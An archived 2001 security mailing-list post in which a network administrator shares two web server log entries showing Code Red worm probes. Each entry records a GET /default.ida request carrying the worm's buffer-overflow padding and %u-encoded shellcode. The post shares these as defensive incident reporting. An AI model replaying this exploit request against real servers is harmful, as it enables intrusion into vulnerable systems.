Code Red hits

From: Powers, James L. (JLPowersat_private)
Date: Wed Aug 01 2001 - 10:29:55 PDT

Next message: Ken Eichman: "Forwarded: 13:00 EDT http scan update from cas.org [CERT#36881]"

Previous message: Thompson, John J: "Code red probe followed by udp port 10xx"
Next in thread: Portnoy, Gary: "RE: Code Red hits"
Reply: Portnoy, Gary: "RE: Code Red hits"
Reply: Bryan Willis: "RE: Code Red hits"
Reply: Dave Salovesh: "RE: Code Red hits"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

Time is GMT.  We are using eyeball scanners on our log files.

2001-08-01 17:06:02 209.27.247.5 - GET /default.ida
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u90
90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 171 4039 94
80 HTTP/1.0 - - - 

2001-08-01 17:12:50 203.232.75.19 - GET /default.ida
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u90
90%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u
9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 171 4039 578
80 HTTP/1.0 - - - 




----------------------------------------------------------------------------
This list is provided by the SecurityFocus ARIS analyzer service.
For more information on this free incident handling, management 
and tracking system please see: http://aris.securityfocus.com

Next message: Ken Eichman: "Forwarded: 13:00 EDT http scan update from cas.org [CERT#36881]"
Previous message: Thompson, John J: "Code red probe followed by udp port 10xx"
Next in thread: Portnoy, Gary: "RE: Code Red hits"
Reply: Portnoy, Gary: "RE: Code Red hits"
Reply: Bryan Willis: "RE: Code Red hits"
Reply: Dave Salovesh: "RE: Code Red hits"
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

This archive was generated by hypermail 2b30 : Wed Aug 01 2001 - 10:41:25 PDT